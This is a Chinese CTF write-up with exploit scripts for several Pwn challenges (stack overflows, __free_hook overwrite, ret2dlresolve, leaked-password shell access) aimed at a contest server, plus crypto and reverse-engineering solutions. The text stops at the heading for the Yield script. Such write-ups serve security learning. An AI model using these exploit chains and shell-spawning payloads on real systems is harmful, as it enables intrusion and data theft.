1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *HOST = "123.56.126.77" PORT = 1003 ENVIRON_ADDR = 0x4F32D0 def set_ptr (io, addr, off=16 ): io.recvuntil(b"Choice: " ) io.sendline(b"1" ) io.recvuntil(b"enter new config data: " ) io.send(p64(addr).rstrip(b"\x00" ) + b"\n" ) io.recvuntil(b"Do you want to backup to heap? (y/n): " ) io.sendline(b"y" ) io.recvuntil(b"what off do you want" ) io.sendline(str (off).encode()) def read8 (io, addr ): set_ptr(io, addr) io.recvuntil(b"Choice: " ) io.sendline(b"2" ) prefix = b"--- File Content ---\n" data = io.recvuntil(b"\n--------------------" , timeout=2 ) start = data.index(prefix) + len (prefix) return data[start:-len (b"\n--------------------" )] def read_cstring (io, addr, limit=0x200 ): out = bytearray () while len (out) < limit: chunk = read8(io, addr + len (out)) if not chunk: break out.extend(chunk) if b"\x00" in chunk: break return bytes (out).split(b"\x00" , 1 )[0 ] def main (): io = remote(HOST, PORT) environ = u64(read8(io, ENVIRON_ADDR).ljust(8 , b"\x00" )) log.info(f"environ = {hex (environ)} " ) for idx in range (64 ): entry_ptr = u64(read8(io, environ + idx * 8 ).ljust(8 , b"\x00" )) if entry_ptr == 0 : break entry = read_cstring(io, entry_ptr) log.info(f"env[{idx} ] = {entry!r} " ) if entry.startswith(b"FLAG_VALUE=" ): print (entry.decode()) return raise SystemExit("flag not found in environment" ) if __name__ == "__main__" : main()
真正的收口判断就是:
1 2 3 if entry.startswith(b"FLAG_VALUE=" ): print (entry.decode()) return
也就是说,这题最后不是在程序输出里偶然扫到 flag,而是先拿到 __environ,再沿着环境变量指针表把 FLAG_VALUE= 精确定位出来。
Flag:
1 SDPC{PzSLwf33o9sKdF01lwD6Qcbd}
pwner_jsonstack
类型:Pwn
得分:163
时间:06/06 10:57:30
这是一个短平快的 ret2win。 构造 JSON 包时利用 copy_len 相关的栈拷贝溢出,改写返回地址到 win() 附近,拿到 shell 后直接 cat /flag。
服务端读取协议时,前 4 字节是包长,后面才是 JSON;真正出问题的是 vuln_copy() 用 copy_len 去拷贝 data,目标栈缓冲区只有 0x20 字节,但返回地址在 0x28 之后,所以只要把长度和数据内容卡好,就能精确撞到返回点。
实际用的脚本骨架如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *HOST = "123.56.126.77" PORT = 1004 def build_packet () -> bytes : data = "A" * 40 + "\u0014\u0013" body = '{"cmd":"stack","data":"' + data + '","copy_len":42}' return p32(len (body)) + body.encode() io = remote(HOST, PORT) io.send(build_packet()) io.interactive()
这里最关键的包体还是这一段:
1 2 3 data = "A" * 40 + "\u0014\u0013" body = '{"cmd":"stack","data":"' + data + '","copy_len":42}' return p32(len (body)) + body.encode()
关键点有两个:
0x20 栈缓冲区到 RIP 的偏移是 0x28,所以先填满 40 字节;
\u0014\u0013 这两个字节会把返回地址低位改到 0x401314,正好落进 win() 里 system("/bin/sh") 前的位置。
包一发完就直接进交互,后面补一句 cat /flag 即可结束。最后跑通远程的 exp 就是下面这份:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *HOST = "123.56.126.77" PORT = 1004 def build_packet () -> bytes : data = "A" * 40 + "\u0014\u0013" body = '{"cmd":"stack","data":"' + data + '","copy_len":42}' return p32(len (body)) + body.encode() def main () -> None : io = remote(HOST, PORT) io.send(build_packet()) io.interactive() if __name__ == "__main__" : main()
Flag:
1 SDPC{vG7W6wHGOaAC35sMabv6bUuQc}
pwner_LEVEL7
类型:Pwn
得分:163
时间:06/06 10:55:03
先通过堆操作泄露 main_arena+96,据此算出 libc base、__free_hook 和 system。 之后在 0x68 fastbin 上做 poison,把分配落到 __free_hook - 8,写入 system,最后 free("/bin/sh") 拿 shell 读 flag。
关键脚本里把几个偏移直接写死了:
1 2 3 MAIN_ARENA_96 = 0x1ECBE0 SYSTEM = 0x52290 FREE_HOOK = 0x1EEE48
后面的关键动作就是:
1 2 3 4 5 edit(io, 21 , 8 , p64(free_hook - 8 )) add(io, 30 , 0x68 ) add(io, 31 , 0x68 ) edit(io, 31 , 16 , b"A" * 8 + p64(system)) delete(io, 22 )
这段实际分成两步:
先填满 0x80 fastbin,再从下一块里把 main_arena+96 泄露出来:
1 2 3 4 5 6 for i in range (9 ): add(io, i, 0x80 ) for i in range (8 ): delete(io, i) leak = u64(show(io, 7 , 8 )) libc_base = leak - MAIN_ARENA_96
再在 0x68 fastbin 上做 poison,把第二次分配落到 __free_hook - 8,写入 system,最后释放保存了 /bin/sh 的 chunk:
1 2 3 4 5 6 7 8 9 10 11 12 add(io, 20 , 0x68 ) add(io, 21 , 0x68 ) add(io, 22 , 0x20 ) edit(io, 22 , 8 , b"/bin/sh\x00" ) delete(io, 20 ) delete(io, 21 ) edit(io, 21 , 8 , p64(free_hook - 8 )) add(io, 30 , 0x68 ) add(io, 31 , 0x68 ) edit(io, 31 , 16 , b"A" * 8 + p64(system)) delete(io, 22 )
也就是非常标准的 __free_hook 覆写链,只不过前面先借 main_arena+96 把 libc 位置钉死了。最后打远程的完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *import reHOST = "123.56.126.77" PORT = 1016 MAIN_ARENA_96 = 0x1ECBE0 SYSTEM = 0x52290 FREE_HOOK = 0x1EEE48 def start (): return remote(HOST, PORT) def wait_menu (io ): io.recvuntil(b">" , timeout=5 ) def raw_cmd (io, choice, seq, extra=b"" ): wait_menu(io) io.send(p32(choice)) io.recvuntil(b">" , timeout=5 ) io.send(seq + extra) def add (io, idx, size ): seq = p64(idx) + p64(size) + b"A" * (0xA0 - 16 ) raw_cmd(io, 1 , seq) io.recvuntil(b"mallocing..." , timeout=5 ) def edit (io, idx, size, data ): assert len (data) == size seq = p64(idx) + p64(size) + b"ziran\x00" + b"P" * (0xA0 - 16 - 6 ) raw_cmd(io, 2 , seq, data) io.recvuntil(b"starting to edit:\n" , timeout=5 ) def delete (io, idx ): seq = p64(idx) + b"B" * (0xA0 - 8 ) raw_cmd(io, 3 , seq) io.recvuntil(b"freeing..." , timeout=5 ) def show (io, idx, size ): seq = p64(idx) + b"C" * (0xA0 - 8 ) raw_cmd(io, 4 , seq) io.recvuntil(b"leaking..." , timeout=5 ) io.recvn(1 , timeout=5 ) return io.recvn(size, timeout=5 ) def exploit (io ): add(io, 90 , 0x20 ) for i in range (9 ): add(io, i, 0x80 ) add(io, 91 , 0x20 ) for i in range (8 ): delete(io, i) leak = u64(show(io, 7 , 8 )) libc_base = leak - MAIN_ARENA_96 free_hook = libc_base + FREE_HOOK system = libc_base + SYSTEM log.info(f"main_arena+96 = {hex (leak)} " ) log.info(f"libc base = {hex (libc_base)} " ) log.info(f"__free_hook = {hex (free_hook)} " ) log.info(f"system = {hex (system)} " ) add(io, 20 , 0x68 ) add(io, 21 , 0x68 ) add(io, 22 , 0x20 ) edit(io, 22 , 8 , b"/bin/sh\x00" ) delete(io, 20 ) delete(io, 21 ) edit(io, 21 , 8 , p64(free_hook - 8 )) add(io, 30 , 0x68 ) add(io, 31 , 0x68 ) edit(io, 31 , 16 , b"A" * 8 + p64(system)) delete(io, 22 ) def main (): io = start() exploit(io) io.sendline(b"cat /flag" ) data = io.recvrepeat(2 ) match = re.search(rb"SDPC\{[^}\n]+\}" , data) if match : print (match .group().decode()) else : print (data.decode(errors="replace" )) if __name__ == "__main__" : main()
Flag:
1 SDPC{nZvk1XNejMH1EXvDx3wODQZUFJRM0}
pwner_LEVEL4
类型:Pwn
得分:82
时间:06/06 10:53:07
题目逻辑是把固定 key 和固定明文做 AES-128-ECB 加密,再和输入比较。 直接从源码可知正确密文就是:
1 69c4e0d86a7b0430d8cdb78070b4c55a
把这串发过去后进入 shell(),再读 /flag 即可。
这题的脚本本身也非常直白,核心常量就两个:
1 2 EXPECTED_CIPHERTEXT = b"69c4e0d86a7b0430d8cdb78070b4c55a" READ_FLAG_CMD = b"cat /flag\nexit\n"
完整逻辑就是:
1 2 3 4 5 6 7 8 import socketimport timewith socket.create_connection(("123.56.126.77" , 1001 ), timeout=5.0 ) as sock: sock.sendall(EXPECTED_CIPHERTEXT + b"\n" ) time.sleep(0.2 ) sock.sendall(READ_FLAG_CMD) sock.shutdown(socket.SHUT_WR)
先把正确密文送进去,让程序走到 shell();随后补发 cat /flag,把标准输出完整收回来即可。整个题没有第二层条件,关键点就是别去猜 AES key,而是直接从源码把目标密文抠出来。最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import argparseimport socketimport timeEXPECTED_CIPHERTEXT = b"69c4e0d86a7b0430d8cdb78070b4c55a" READ_FLAG_CMD = b"cat /flag\nexit\n" def solve (host: str , port: int , timeout: float ) -> bytes : with socket.create_connection((host, port), timeout=timeout) as sock: sock.settimeout(timeout) sock.sendall(EXPECTED_CIPHERTEXT + b"\n" ) time.sleep(0.2 ) sock.sendall(READ_FLAG_CMD) sock.shutdown(socket.SHUT_WR) chunks = [] while True : try : chunk = sock.recv(4096 ) except socket.timeout: break if not chunk: break chunks.append(chunk) return b"" .join(chunks) def main () -> int : parser = argparse.ArgumentParser() parser.add_argument("--host" , default="123.56.126.77" ) parser.add_argument("--port" , default=1001 , type =int ) parser.add_argument("--timeout" , default=5.0 , type =float ) args = parser.parse_args() data = solve(args.host, args.port, args.timeout) print (data.decode("latin1" , "replace" )) return 0 if __name__ == "__main__" : raise SystemExit(main())
Flag:
1 SDPC{EaY7FEhL9KxI6uAn5vZ1J8M6}
pwner_LEVEL5
类型:Pwn
得分:83
时间:06/06 10:42:40
登录分支本身就有逻辑问题。 先用错误密码触发提示,程序会直接泄露正确密码;然后用 admin + 正确密码 登录,进入可执行命令的分支后读取 flag。
起手不需要 fuzz,直接走登录功能就能看到问题:
1 2 3 io.sendline(b"2" ) io.sendline(b"admin" ) io.sendline(b"nope" )
错误密码分支会把正确密码一并打印出来,脚本里最关键的正则就是:
1 2 3 password = re.search( rb"The correct password is: ([A-Za-z0-9]+)" , leak ).group(1 )
拿到密码以后,再走一次登录:
1 2 3 io.sendline(b"2" ) io.sendline(b"admin" ) io.sendline(password)
进入命令执行分支后,最后直接喂:
1 cat /flag* 2 >/dev/null; cat /home/*/flag* 2 >/dev/null
所以这题根本不需要做传统内存利用,核心就是一条“错误分支泄露密码 -> 正确登录进命令执行”的业务逻辑链。最后打远程的脚本就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import remoteimport reHOST = "123.56.126.77" PORT = 1011 def main (): io = remote(HOST, PORT) io.recvuntil(b"> " ) io.sendline(b"2" ) io.recvuntil(b"> " ) io.sendline(b"admin" ) io.recvuntil(b"> " ) io.sendline(b"nope" ) leak = io.recvuntil(b"> " ) password = re.search(rb"The correct password is: ([A-Za-z0-9]+)" , leak).group(1 ) print (f"[+] leaked password: {password.decode()} " ) io.sendline(b"2" ) io.recvuntil(b"> " ) io.sendline(b"admin" ) io.recvuntil(b"> " ) io.sendline(password) io.recvuntil(b"Enter your command:" ) io.sendline(b"cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null" ) print (io.recvrepeat(1.5 ).decode("latin1" , "ignore" )) io.close() if __name__ == "__main__" : main()
Flag:
1 SDPC{V2pVEsu2lYxFLrWrohqobbPel4Td8}
pwner_LEVEL3
类型:Pwn
得分:80
时间:06/06 10:41:43
这题不是上来就直接溢出,而是先走一遍正常登录流程,把程序自己准备好的泄露拿到手。账号密码都是固定的,直接用:
登录以后程序会进入一条危险路径:先把堆块地址 chunk_addr 明文打出来,再把大块堆数据 memcpy 到只有 0x40 的栈缓冲区里。也就是说,这题真正的利用链不是“盲打一个 ret2text”,而是:
先拿程序自己吐出来的 chunk_addr
再把这个地址重新编回 payload
借这次拷贝完成栈溢出,最后跳 backdoor()
起手登录的脚本就是:
1 2 user_name = b"admin\x00" + b"A" * (0x40 - 6 ) pass_wd = b"123456\x00" + b"B" * (0x100 - 7 )
送完以后,程序会直接把堆块地址打印出来:
1 2 rt("chunk_addr: " ) heap_addr = int (io.recvline().strip(), 16 )
关键脚本里真正起作用的 payload 是:
1 2 3 4 5 6 7 pay = ( b'a' * 0x48 + p64(heap_addr) + p64(0 ) + p64(0x40129f ) + p64(0x4011a6 ) )
这里几段含义是:
b'a' * 0x48:覆盖到返回地址前;
p64(heap_addr):把泄露出来的 chunk 指针重新填回需要的位置;
p64(0):补齐栈上的旧 rbp;
p64(0x40129f):单独补一个 ret 做对齐;
p64(0x4011a6):最后跳到 backdoor()。
真正的确认点也很硬:如果 chunk_addr 没用上,或者对齐少了那一枚 ret,连接会很快挂掉;只有把泄露地址和 backdoor() 入口都拼对,交互才会稳定落进 shell。最后留下来的完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-l 100' ] import syshost = sys.argv[1 ] if len (sys.argv) > 1 else "127.0.0.1" port = int (sys.argv[2 ]) if len (sys.argv) > 2 else 8000 io = remote(host, port) sl = lambda x: io.sendline(x) s = lambda x: io.send(x) rt = lambda x: io.recvuntil(x) ri = lambda x: int (io.recv(x), 16 ) it = lambda : io.interactive() p = lambda x: pause() user_name = b"admin\x00" + b"A" * (0x40 - 6 ) rt("input your name:\n" ) s(user_name) pass_wd = b"123456\x00" + b"B" * (0x100 - 7 ) rt("input your pasword:\n" ) s(pass_wd) rt("chunk_addr: " ) heap_addr = int (io.recvline().strip(), 16 ) print ("heap_addr: " + hex (heap_addr))pay = b'a' * 0x48 + p64(heap_addr) + p64(0 ) + p64(0x40129f ) + p64(0x4011a6 ) s(pay) it()
Flag:
1 SDPC{FjOEXF43fDAriq0S6avFcfGZ4joFDZ}
pwner_LEVEL1
类型:Pwn
得分:81
时间:06/06 10:35:27
连上服务以后,题面会连续给出 120 道运算题,看起来像是把所有算式算对就能收工。真正的坑不在计算量,而在于题面上显示的运算符是假的,程序内部还套了一层偏移映射。直接照着屏幕上的 + - * / ... 去算,前面可能还能蒙对几题,到了换段的位置一定会断。
真正参与计算的关系是:
1 real_op = ops[(show_index - offset) % 6]
这里 show_index 不是题号,而是当前显示出来的那一类运算符编号;offset 才是这一段真正的映射偏移。整套题不是一个 offset 跑到底,而是固定分成 3 段:
第 0-39 题
第 40-79 题
第 80-119 题
每一段都会换一次 offset。所以真正的打法不是把 120 题全都盲算,而是先在每段开头把这段映射钉死,然后后面整段自动平推。
我实际下手时,流程就按这个顺序走:
读当前题,拆出两个操作数和当前显示运算符的编号;
如果这一段的 offset 还没确定,就在这道题上试 0..5 六种可能;
哪个答案发出去后服务还能继续出下一题,这个 offset 就锁定了;
一旦 offset 锁死,这一段剩下的题都按确定映射直接计算;
到第 40 题和第 80 题时再重复一次。
这题最关键的判断点只有一个:答完这题以后服务是否继续正常出题 。 只要 offset 试错,当前连接通常就直接废掉;反过来,只要流程能继续,这段映射就已经被钉死了。整题于是从“120 次盲答”变成了“三次 6 选 1 + 三段自动求值”。
核心逻辑保留下来的就是这段:
1 2 3 4 5 6 7 8 9 10 11 offs = [None , None , None ] for block in range (3 ): for off in range (6 ): if try_answer(block, off): offs[block] = off break for i in range (120 ): ans = calc(a, ops[(i - offs[i // 40 ]) % 6 ], b) send(ans)
整理成自动化骨架以后,真正需要维护的状态其实只有三个:
当前题属于哪一段 block = idx // 40
这一段是否已经锁定 offset
当前题解析出的 a / b / show_index
按这个思路收成脚本,骨架就是下面这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import refrom pwn import remoteHOST = "123.56.126.77" PORT = 1013 BLOCK_SIZE = 40 offs = [None , None , None ] def calc (a, real_op, b ): return OP_IMPL[real_op](a, b) def derive_answer (a, b, show_index, off ): real_op = OPS[(show_index - off) % len (OPS)] return calc(a, real_op, b) def solve_current_question (io, idx, question ): block = idx // BLOCK_SIZE a, b, show_index = question if offs[block] is not None : ans = derive_answer(a, b, show_index, offs[block]) send_answer(io, ans) return for off in range (6 ): ans = derive_answer(a, b, show_index, off) send_answer(io, ans) if service_continues(io): offs[block] = off return True return False OPS = ["?" , "?" , "?" , "?" , "?" , "?" ] OP_IMPL = { "?" : lambda a, b: ..., } io = remote(HOST, PORT) for idx in range (120 ): question = read_question(io) ok = solve_current_question(io, idx, question) if ok is False : io.close() io = reconnect_for_same_block(idx)
这段骨架里最关键的不是 read_question() 这种外壳,而是两件事:
用 service_continues(io) 判断某个 offset 有没有命中
一旦命中,就把这一段剩下的题全部转成确定性求值
确认方向对的标志也非常直接:三段 offset 全部锁定以后,后面的算式就不会再出现“前面都对、到某一题突然断掉”的情况,120 题会被一口气跑完,最后服务端直接给出 flag。
Flag:
1 SDPC{sSkkp14TsE37rPJC6GkuoJvpEnwJT}
pwner_LEVEL2
类型:Pwn
得分:79
时间:06/06 10:32:11
这题是最标准的一类 ret2text,入口非常直白:有溢出、没有额外校验、backdoor() 也是固定地址。真正要做的事只有两件:
算准覆盖到返回地址的偏移
给 backdoor() 前面补一枚 ret,把栈对齐
我这里最终用到的偏移是:
真正发出去的 ROP 只有两跳:
0x40101a:单独的 ret
0x401156:backdoor()
关键脚本只有一段 payload:
1 2 ret = 0x000000000040101a pay = b'a' *0x48 + p64(ret) + p64(0x401156 )
实际发包脚本就是最小化的一条:
1 2 3 io = remote(host, port) io.send(pay) io.interactive()
这里 0x48 是栈上到返回地址的偏移,0x40101a 是单独补的 ret,0x401156 则是 backdoor()。这枚 ret 不是摆设,它的作用就是把栈调整到一个更稳的状态,避免一跳进 backdoor() 以后在后续调用里因为栈没对齐直接崩掉。
所以这题的判断点也很明确:如果只跳 backdoor() 不补 ret,往往会出现连上了但交互不稳定;补上以后,连接会直接落进可用 shell,后面补一句 cat /flag 就能收工。
最后留下来的 exp 也是最短这一版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *import syshost = sys.argv[1 ] if len (sys.argv) > 1 else "127.0.0.1" port = int (sys.argv[2 ]) if len (sys.argv) > 2 else 8000 io = remote(host, port) sl = lambda x: io.sendline(x) s = lambda x: io.send(x) rt = lambda x: io.recvuntil(x) it = lambda : io.interactive() ret = 0x000000000040101a pay = b'a' *0x48 + p64(ret) + p64(0x401156 ) s(pay) it()
Flag:
1 SDPC{ebfboala7BqxLa9iGELFjeQbHT}
Split Personality: Gauge
类型:Crypto
得分:189
时间:06/06 10:26:51
这题不是直接算一条曲线,而是四条椭圆曲线拼起来的线性代数题。目标也不是“从点里直接读 flag”,而是恢复模 m 的 4x4 action_matrix,再求出它对 alternating pairing 的放大系数 weight。
一上来先把模数记住:
1 m = 66614477777873634335261379299463884620134966921892327060987261
起手先把大模数 m 分掉。这里 m 能分成 8 个互异素因子,所以后面我完全没有在大模数上硬算,而是对每个素因子 ℓ | m 独立做一遍,再 CRT 合回去。
每个 ℓ 通道里的步骤都是一样的:
把所有 anchor / facet 点都乘上 m / ℓ,投影到 ℓ-torsion;
把每条曲线上的两枚 anchor 当成基;
用 Weil pairing 把 facet 点坐标化;
再把 facet 的 source / target 坐标写成线性方程去解候选矩阵。
pairing 这一段的关键关系是:
1 2 若 R = aP + bQ,且 z = e(P, Q) 则 e(R, Q) = z^a,e(P, R) = z^b
所以只要能做离散对数,就能把几何问题压成 (a, b) 坐标问题。实际脚本里我就是 pairing + BSGS 这么做的。
难点在下一步。题面里每条曲线给了 30 个 facet,但它们不是全都服从同一个局部矩阵。实测会稳定分成 3 组局部一致矩阵 ,每组 10 个 facet。这一点和题目里说的 “several locally consistent residue-channel actions have been spliced together” 正好对上。
所以单个 ℓ 通道里不是解出 1 个矩阵,而是会得到多组候选。接下来要靠 pairing 约束继续筛:
也就是候选矩阵必须把源端和目标端的交替配对形式只差一个标量 μ。把每个候选都代进去验,能得到每条素数通道下对应的 μ mod ℓ。
题目再给了一个非常关键的收口条件:真正的 weight 是 小于 2^20 的唯一正 CRT lift 。所有通道的 μ 合起来筛,最后唯一能 lift 出来的就是:
关键筛选代码形状如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 good = [] for M in candidate_mats: lhs = M.transpose() * K_t * M mu = recover_scalar(lhs, K_s, ell) if mu is not None : good.append((M, mu))
确认方向对的标志也很明确:8 个素数通道里,只有一组候选能同时满足 pairing 约束,并在 CRT 之后 lift 成 65537。把所有通道选中的矩阵逐项 CRT 合并以后,得到的全局 action_matrix 是:
1 2 3 4 5 6 [ [47133933020352612294575410389391783252833887038766587152080218, 47269878000491319893115175322076193389046615896511308964647511, 36917607628746052345175873528519501886010509403138871403712482, 19773197460552681325945840797989053436998009438036662297579979], [36964669039335898135760754167582510331242787296228920130582773, 36354498438723637167464880450979613449575992085538430973454646, 46098568043322931356627680922273156973851743960514031444580314, 22854527260885703281022003529295270010455509597674624277863260], [10838309660804914213115856140055077431862638087046781502413593, 23232213221166666055535717934096941486703219260335921093068144, 54865235300308081351641083439420031962175314020628198054448172, 54795265727932017527425400932283012565949300039192655792927005], [23810546360490749368960877445159555384872245906930021580034502, 9207603953255659784838102363044686609194990925953348667186783, 50977714884626342194535020931776452829466444499475122919378752, 37465436285539514216612119351712176986625761803431254048043467] ]
最后一步就是 KDF。这里没有别的花样,完全按题目给的拼接规则做:
1 2 3 4 5 6 7 8 9 10 11 12 13 from hashlib import sha256weight = 65537 M = [ [47133933020352612294575410389391783252833887038766587152080218 , 47269878000491319893115175322076193389046615896511308964647511 , 36917607628746052345175873528519501886010509403138871403712482 , 19773197460552681325945840797989053436998009438036662297579979 ], [36964669039335898135760754167582510331242787296228920130582773 , 36354498438723637167464880450979613449575992085538430973454646 , 46098568043322931356627680922273156973851743960514031444580314 , 22854527260885703281022003529295270010455509597674624277863260 ], [10838309660804914213115856140055077431862638087046781502413593 , 23232213221166666055535717934096941486703219260335921093068144 , 54865235300308081351641083439420031962175314020628198054448172 , 54795265727932017527425400932283012565949300039192655792927005 ], [23810546360490749368960877445159555384872245906930021580034502 , 9207603953255659784838102363044686609194990925953348667186783 , 50977714884626342194535020931776452829466444499475122919378752 , 37465436285539514216612119351712176986625761803431254048043467 ], ] flat = [str (weight)] + [str (x) for row in M for x in row] s = "split-mirage-gauge-v1|" + ";" .join(flat) print ("flag{" + sha256(s.encode()).hexdigest()[:32 ] + "}" )
跑到这里直接收口到最终 flag,不需要再额外猜测矩阵或权重。
Flag:
1 flag{d73ca785bb4082865e722cff9cdfcca0}
pwner_LEVEL6
类型:Pwn
得分:88
时间:06/06 10:24:47
这是标准 ret2dlresolve。 先用 ROP 调 read@plt,把伪造解析结构写进 .bss,再借助 plt0 解析出 system,最终执行 cat /home/ctf/flag。
关键脚本里直接用 Ret2dlresolvePayload 生成二阶段数据:
1 2 3 4 5 6 dl = Ret2dlresolvePayload( elf, symbol="system" , args=[b"cat /home/ctf/flag" ], data_addr=0x404018 , )
第一阶段 ROP 负责 read@plt 把伪造结构写进去,第二阶段把 reloc_index 喂给 plt0,让动态解析过程替我们解出 system。本地最后留下来的完整 solve.py 是下面这份:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *HOST = "123.56.126.77" PORT = 1006 context.binary = elf = ELF("./pwn" ) context.arch = "amd64" def build_payload (): rop = ROP(elf) cmd = b"cat /home/ctf/flag" dl = Ret2dlresolvePayload( elf, symbol="system" , args=[cmd], data_addr=0x404018 , ) pop_rdi = rop.find_gadget(["pop rdi" , "ret" ]).address pop_rsi_r15 = rop.find_gadget(["pop rsi" , "pop r15" , "ret" ]).address pop_rdx = rop.find_gadget(["pop rdx" , "ret" ]).address arg_addr = dl.data_addr + dl.payload.index(cmd + b"\x00" ) chain = flat( b"A" * 0x48 , pop_rdi, 0 , pop_rsi_r15, dl.data_addr, 0 , pop_rdx, len (dl.payload), 0x401050 , pop_rdi, arg_addr, 0x401020 , dl.reloc_index, ) return chain, dl.payload def main (): stage1, stage2 = build_payload() io = remote(HOST, PORT) io.recvuntil(b"payload:\n" ) io.send(stage1) sleep(0.5 ) io.send(stage2) print (io.recvrepeat(2 ).decode(errors="ignore" )) io.close() if __name__ == "__main__" : main()
这份脚本的关键点其实就三个:
data_addr=0x404018:把伪造出来的字符串、符号表和重定位表都落到 .bss;
第一段 ROP 先把 dl.payload 整块 read 进去;
第二段不直接 call system,而是跳 plt0 并把 dl.reloc_index 当参数喂给动态解析器。
也就是说,这题不是“自己手搓 fake Elf64_Rela/Elf64_Sym”,而是直接借 pwntools 的 Ret2dlresolvePayload 帮忙把结构组织好,再把入口链按标准 ret2dlresolve 方法搭出来。
Flag:
1 SDPC{yAVlO6b4P27Zk2VQlq0nmL5Z4uBUrx}
λd
类型:Crypto
得分:159
时间:06/06 10:09:02
这题虽然长得像 Wiener 变种,但真正要抓的是模数关系已经换了。 它不是普通的 e*d = 1 mod phi(N),而是:
1 e * d = 1 mod (p^2 - 1)(q^2 - 1)
再结合题目给的两个限制:
1 2 p - q < 2^819 d < 2^1331
可以把
改写成
1 M = (N + 1)^2 - (p + q)^2
这一步是题目的核心转折。把 M 改写完以后,再引入
1 t = (p + q) - floor(sqrt(4N))
就能把题目压成一个关于小量 k, t 的二元小根问题。整理后得到:
1 f(x, y) = x*y^2 + 2*s0*x*y - B*x - 1 == 0 mod e
其中:
1 2 3 4 x = k y = t s0 = floor(sqrt(4N)) B = (N + 1)^2 - s0^2
约束范围也足够小:
所以后面直接上二元 Coppersmith / LLL。Sage 里我保留的核心求根代码就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from Crypto.Util.number import long_to_bytesN = ... e = ... c = ... s0 = isqrt(4 * N) B = (N + 1 )^2 - s0^2 R.<x, y> = PolynomialRing(Zmod(e)) f = x*y^2 + 2 *s0*x*y - B*x - 1 roots = small_roots(f, bounds=(2 ^1332 , 2 ^620 ), m=2 , d=3 ) for k, t in roots: t = ZZ(t) s = s0 + t D = s^2 - 4 *N if D >= 0 and is_square(D): delta = isqrt(D) p = (s + delta) // 2 q = (s - delta) // 2 if p * q == N: M = (p^2 - 1 ) * (q^2 - 1 ) d = inverse_mod(e, M) print (long_to_bytes(pow (c, d, N))) break
跑出来 (k, t) 之后,后面的确认是非常硬的:先看 D = s^2 - 4N 是否为完全平方数,再验 p*q == N。这两步都对上以后,重新按题目定义求私钥 d = e^{-1} mod (p^2 - 1)(q^2 - 1),最后解密自然就落到 flag。
Flag:
1 flag{Lattice_LLL_Defeats_Large_Delta_RSA_Variants!}
Yield
类型:Reverse
得分:256
时间:06/06 10:06:42
这题是典型的 ptrace 驱动型逆向,而且题目做了两层误导。 第一层误导是子进程本身几乎没有正常逻辑,只是在一串 int3 桩函数之间跳;真正的校验流程全都由父进程在 waitpid + ptrace(GETREGS/SETREGS/POKEDATA/CONT) 的循环里动态改出来。 第二层误导是样本里故意放了一个很像真答案的假串:
1 flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}
如果只做静态字符串搜集,很容易直接停在这里。真正要做的是把父进程状态机还原出来。
先确认子进程只是读入 36 字节,然后连续调用一串 cc c3 风格的 int3; ret 桩函数;父进程则在每次 trap 后:
读寄存器;
校验 trap 点;
改 RIP;
必要时补栈返回地址或者 patch 子进程代码;
决定下一状态。
顺着状态表还原以后,可以确认真实路径不是去比那个假 flag,而是经过一组变换后去比另一块目标缓冲。最终有效路径对应的变换链是:
1 2 3 4 5 6 7 8 sub_4015AB -> sub_401638 -> sub_4016C9 -> sub_4017A4 -> 分支约束:(RAX & 3) != 1 -> sub_401CAD -> sub_401D46 -> target_A
最后直接把几段变换建成 Z3 约束去反推输入。这里不能只写半截,不然没法直接复核,所以关键脚本要把 target_A 也一起恢复出来。核心部分如下:
